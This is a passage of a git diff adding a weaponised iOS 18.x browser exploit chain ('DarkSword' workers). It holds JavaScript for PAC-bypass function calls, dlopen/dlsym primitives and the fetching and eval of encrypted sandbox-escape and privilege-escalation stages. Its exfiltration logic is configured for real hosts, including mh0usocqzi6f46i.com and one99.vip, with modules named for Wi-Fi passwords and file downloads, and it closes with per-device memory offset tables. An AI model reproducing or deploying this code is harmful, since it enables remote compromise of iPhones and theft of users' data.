/ 8] = paciza_malloc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + const cache = new Map(); + const signPointer = paciza_signPointer.noPAC(); + cache.set(signPointer, paciza_signPointer); + function pacia(ptr, ctx) { + signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; + return fcall(signPointer, signPointer_self_addr, ctx, ptr); + } + function fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, pacia(pc, 0n)); + } + const signed_pc = cache.get(pc); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] === MAGIC); + x20_u64[0x20 / 8] = signed_pc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + for (let i = 0; i < args.length && i < 8; ++i) { + stack_u64[0x80098 / 8 - i] = args[i]; + } + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + return x19_u64[0x20 / 8]; + } + const unsigned_dlopen = paciza_dlopen.noPAC(); + const unsigned_dlsym = paciza_dlsym.noPAC(); + function dlopen(filename, flags) { + filename = filename + '\0'; + resolve_rope(filename); + const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); + return fcall(unsigned_dlopen, name_ptr, flags); + } + p.dlopen = dlopen; + function dlsym(handle, symbol) { + symbol = symbol + '\0'; + resolve_rope(symbol); + const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); + return fcall(unsigned_dlsym, handle, symbol_ptr); + } + p.dlsym = dlsym; + const libsystem_c = dlopen('/usr/lib/system/libsystem_c.dylib', 1n); + const fopen = dlsym(libsystem_c, 'fopen').noPAC(); + const fopen_mode_str = 'w'; + const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n); + function log(msg) { + try { print(String(msg)); } catch (e) {} + if (true) { + const elapsed = parseInt(Date.now() - rce_begin); + const path = ("/(" + elapsed + ") ").padEnd(15) + msg.toString().replaceAll('/', '|') + '\0'; + resolve_rope(path); + const path_ptr = p.read64(p.read64(p.addrof(path) + 8n) + 8n); + fcall(fopen, path_ptr, fopen_mode_ptr); + } + } + offsets.libsystem_kernel__thread_terminate = p.slide + 0x1D3D6F244n; + function suspend_worker(worker) { + const port = p.read32(worker.thread + 0x34n); + return fcall(offsets.libsystem_kernel__thread_suspend, port); + } + for (const worker of p.dlopen_workers) { + suspend_worker(worker); + } + function fcall_close() { + x19_u64[0 / 8] = pacia(offsets.pthread_exit, 0n); + } + const rce_end = Date.now(); + log(`-`.repeat(0x28)); + try { + // local version + const sbx0_script = getJS('/sbx0_main_18.4.js'); + log("after get js"); + eval(sbx0_script); + } catch (e) { + log(btoa(e)); + } + fcall_close(); + print(`all done`); + self.postMessage({ + type: 'redirect' + }); + return; + } + case 'slow_fcall_done': + { + slow_fcall_resolve(p.slowFcallResult[0]); + break; + } + } + }; +})(); diff --git a/channel-builder-ds/source/rce_worker_18.5.js b/channel-builder-ds/source/rce_worker_18.5.js new file mode 100644 index 0000000..55f0913 --- /dev/null +++ b/channel-builder-ds/source/rce_worker_18.5.js @@ -0,0 +1,16124 @@ +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +/* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker + * Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js). + * Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5. + */ +var SERVER_LOG; +let offsets; +let MessageName; + +const no_cow = 1.1; +const unboxed_arr = [no_cow]; +const boxed_arr = [{}]; + +self[0] = unboxed_arr; +self[1] = boxed_arr; +(() => { +function sleep(ms) { + const begin = Date.now(); + while (Date.now() - begin < ms); +} +let logStart = new Date().getTime(); +let logEntryID = 0; +let __printBudget = 60; +let __printWindowStart = 0; +function print(x, reportError = false, dumphex = false) { + let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; + if (!SERVER_LOG && !reportError) return; + const critical = reportError || /after get js|pe exfil|all done|sbx0 eval|stage1_failed|success with|rce ok|SBX0 complete|pe spawned/i.test(String(x)); + if (!critical && SERVER_LOG) { + const __now = Date.now(); + if (__now - __printWindowStart > 1000) { __printWindowStart = __now; __printBudget = 60; } + if (__printBudget <= 0) return; + __printBudget--; + } + + let obj = { + id: logEntryID++, + text: out, + } + if (dumphex) { + obj.hex = 1 + obj.text = x + } + try { + if (__labDeviceUUID) { + obj.deviceUUID = __labDeviceUUID; + obj.device = __labDeviceUUID; + } + let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') + const xhr = new XMLHttpRequest(); + xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true); + if (__labDeviceUUID) { + try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {} + } + xhr.send(null); + } catch (e) {} +} + +var __exfilHost = 'mh0usocqzi6f46i.com'; +var __exfilHttpPort = 4001; +var __exfilHttpsPort = 4001; +var __exfilTls = false; +var __exfilFallbackHost = ''; +var __exfilFallbackHttp = 4001; +var __labDeviceUUID = ''; +function labWorkerApiBase() { + try { + var tls = !!__exfilTls; + var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443)); + var o = (tls ? 'https://' : 'http://') + h; + if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port; + return o; + } catch (e) {} + return 'https://mh0usocqzi6f46i.com:443'; +} +function applyExfilFromData(data) { + if (!data) return; + if (data.exfilHost) __exfilHost = String(data.exfilHost); + try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; } + if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort); + if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort); + if (data.exfilTls != null) __exfilTls = !!data.exfilTls; + if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0]; + if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort); + if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase(); +} +function patchExfilPayload(script) { + if (!script) return script; + // Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001. + // Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS. + var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + var h = raw || 'mh0usocqzi6f46i.com'; + var hp = '8018'; + var hsp = '8018'; + var s = script; + var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3', + '192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com', + 'resulting-congress-soap-pee.trycloudflare.com', + 'constitutes-totals-ending-sponsors.trycloudflare.com', + 'machinery-syntax-double-biography.trycloudflare.com', + 'prospects-advisors-electro-buyers.trycloudflare.com']; + for (var si = 0; si < stale.length; si++) { + if (stale[si] !== h) s = s.split(stale[si]).join(h); + } + // Quoted host constants only (do not touch octet-join SERVER_HOST forms) + s = s.replace(/const (SERVER_HOST|SERVER_HOST_ALT|GHOST_HTTP_HOST|KNIFE_HOST|EXFIL_MC_HOST|BEACON_TLS_HOST) = \\"[^\\"]+\\"/g, + function(m, name) { return 'const ' + name + ' = \\"' + h + '\\"'; }); + s = s.replace(/const (SERVER_HOST|SERVER_HOST_ALT|GHOST_HTTP_HOST|KNIFE_HOST|EXFIL_MC_HOST|BEACON_TLS_HOST) = "[^"]+"/g, + function(m, name) { return 'const ' + name + ' = "' + h + '"'; }); + s = s.replace(/const HTTP_PORT = \d+/g, 'const HTTP_PORT = ' + hp); + s = s.replace(/const HTTPS_PORT = \d+/g, 'const HTTPS_PORT = ' + hsp); + s = s.replace(/const SERVER_PORT = \d+/g, 'const SERVER_PORT = ' + hp); + s = s.replace(/const GHOST_HTTP_PORT = \d+/g, 'const GHOST_HTTP_PORT = ' + hp); + s = s.replace(/const EXFIL_MC_HTTP_PORT = \d+/g, 'const EXFIL_MC_HTTP_PORT = ' + hp); + s = s.replace(/const KNIFE_PORT = \d+/g, 'const KNIFE_PORT = ' + hsp); + s = s.replace(/const USE_HTTPS = false/g, 'const USE_HTTPS = true'); + s = s.replace(/const GHOST_USE_TLS = true/g, 'const GHOST_USE_TLS = true'); + s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true'); + // MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start + var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));' + + 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";' + + '__peG.__PE_EXFIL_TLS__=false;' + + '__peG.__PE_EXFIL_HTTP__=' + hp + ';' + + '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';' + + (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '') + + (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '') + + (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '') + + '}}catch(_pePre){}\n'; + return pre + s; +} +function shouldPatchExfil(fname) { + if (!fname) return false; + var f = String(fname).toLowerCase(); + return f.indexOf('pe_main') >= 0 || f.indexOf('pe_worker') >= 0 || f.indexOf('bundle') >= 0 || f.indexOf('sbx1') >= 0 + || f.indexOf('file_downloader') >= 0 || f.indexOf('wifi_password') >= 0; +} + +function getJS(fname, method = 'GET', tries = 5) + { + const path = fname.startsWith('/') ? fname : '/' + fname; + const bases = []; + const primary = (host || '').replace(/\/$/, ''); + const heavy = /sbx1_main|pe_main|sbx0_main/i.test(fname); + // Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080. + if (heavy) { + if (primary && bases.indexOf(primary) < 0) bases.push(primary); + if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); + if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); + } else { + if (primary) bases.push(primary); + if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); + if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); + } + if (!bases.length) { print('getJS: no host'); return ''; } + const maxTries = heavy ? Math.min(tries, 3) : tries; + for (let bi = 0; bi < bases.length; bi++) { + const base = bases[bi]; + const url = base + path; + for (let attempt = 1; attempt <= maxTries; attempt++) { + try { + const xhr = new XMLHttpRequest(); + var q = '_r=' + attempt; + if (__labDeviceUUID && /pe_main/i.test(fname)) q += '&deviceUUID=' + encodeURIComponent(__labDeviceUUID); + xhr.open(method, url + (url.indexOf('?') >= 0 ? '&' : '?') + q, false); + if (__labDeviceUUID) { + try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (eHdr) {} + } + xhr.send(null); + if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length > 100) { + let __jsBody = xhr.responseText; + try { + var _pass = (typeof __LAB_ENC_PASS__ !== 'undefined' && __LAB_ENC_PASS__) ? String(__LAB_ENC_PASS__) : '9898asd147258'; + if (typeof maybeDecryptText === 'function') __jsBody = maybeDecryptText(__jsBody, _pass); + else if (typeof looksEncryptedText === 'function' && looksEncryptedText(__jsBody) + && typeof decryptPayloadSync === 'function') { + __jsBody = decryptPayloadSync(JSON.parse(__jsBody), _pass); + } + } catch (eDec) {} + if (shouldPatchExfil(fname)) __jsBody = patchExfilPayload(__jsBody); + if (bi > 0) print('getJS ok via fallback ' + base + ' for ' + fname); + return __jsBody; + } + if (attempt < maxTries) { + print('getJS retry ' + attempt + '/' + maxTries + ' HTTP ' + xhr.status + ' for ' + fname + ' @ ' + base); + } + } catch (e) { + if (attempt < maxTries) print('getJS retry ' + attempt + '/' + maxTries + ' err ' + fname + ' @ ' + base + ': ' + e); + } + } + } + print('getJS failed for ' + fname, true); + return ''; + } +var p_rce = {_root: []}; +var p = {}; +var device_model; +var offsets = {}; +var slide; +var chipset; +let signal_ptr; +var read64_biguint64arr = new BigUint64Array(4); +var read64_str = '\u4444'.repeat(0x10); +[][read64_str]; +let log_url_prefix; +const canvas = new OffscreenCanvas(1, 1); +const ab = new ArrayBuffer(8); +const u64 = new BigUint64Array(ab); +const u32 = new Uint32Array(ab); +const u8 = new Uint8Array(ab); +const f64 = new Float64Array(ab); + +BigInt.fromDouble = function(v) { f64[0] = v; return u64[0]; }; +BigInt.fromBytes = function(bytes) { for (let i = 0; i < 8; ++i) { u8[i] = bytes[i]; } return u64[0]; }; +BigInt.prototype.hex = function() { let s = '0x' + this.toString(16); return s; }; +BigInt.prototype.asDouble = function() { u64[0] = this; return f64[0]; }; +BigInt.prototype.add = function(other) { return this + other; }; +BigInt.prototype.sub = function(other) { return this - other; } +BigInt.prototype.noPAC = function() { return this & 0x7fffffffffn; } +BigInt.prototype.asInt32s = function() { + u64[0] = this; + let lo = u32[0]; + let hi = u32[1]; + if (hi >= 0x80000000) { + hi = (hi - 0x100000000) & 0xffffffff; + } + if (lo >= 0x80000000) { + lo = (lo - 0x100000000) & 0xffffffff; + } + return [lo, hi]; +}; +[].shift(); +//!INCLUDE(rce/offsets/{ver}.js) + +rce_offsets = { + "iPhone11,2_4_6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 